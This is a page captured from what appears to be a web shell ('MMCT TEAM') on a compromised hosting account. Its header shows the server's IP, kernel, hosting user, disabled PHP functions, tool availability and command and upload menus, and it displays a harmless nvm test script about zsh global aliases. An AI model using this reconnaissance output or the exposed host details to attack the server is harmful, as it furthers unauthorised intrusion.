MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/.nvm/test/sourcing/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/.nvm/test/sourcing/Sourcing nvm.sh global alias bug
#!/bin/sh

die () { echo "$@" ; exit 1; }

if [ -n "${ZSH_VERSION-}" ]; then
  # these are set by omz: https://github.com/ohmyzsh/ohmyzsh/tree/1ac40cd4456230f09bf0258b173304929d118992/plugins/common-aliases
  alias -g R='| less -S'
  alias -g G='| less -S'
  # these are set by yadr: https://github.com/skwp/dotfiles/blob/5c487de9b81cd4265ecc9df74477e410ffbda6a1/zsh/zsh-aliases.zsh
  alias -g C='| wc -l'
  alias -g H='| head'
  alias -g L="| less"
  alias -g N="| /dev/null"
  alias -g S='| sort'
  alias -g G='| grep'
fi

OUTPUT=$(\. ../../nvm.sh || echo 'sourcing returned nonzero exit code')
UNEXPECTED_OUTPUT="sourcing returned nonzero exit code"
[ "_$OUTPUT" != "_$UNEXPECTED_OUTPUT" ] || die "Sourcing nvm.sh should not fail"

if [ -n "${ZSH_VERSION-}" ]; then
  unalias \R
  unalias \G
  unalias \C
  unalias \H
  unalias \L
  unalias \N
  unalias \S
fi

MMCT - 2023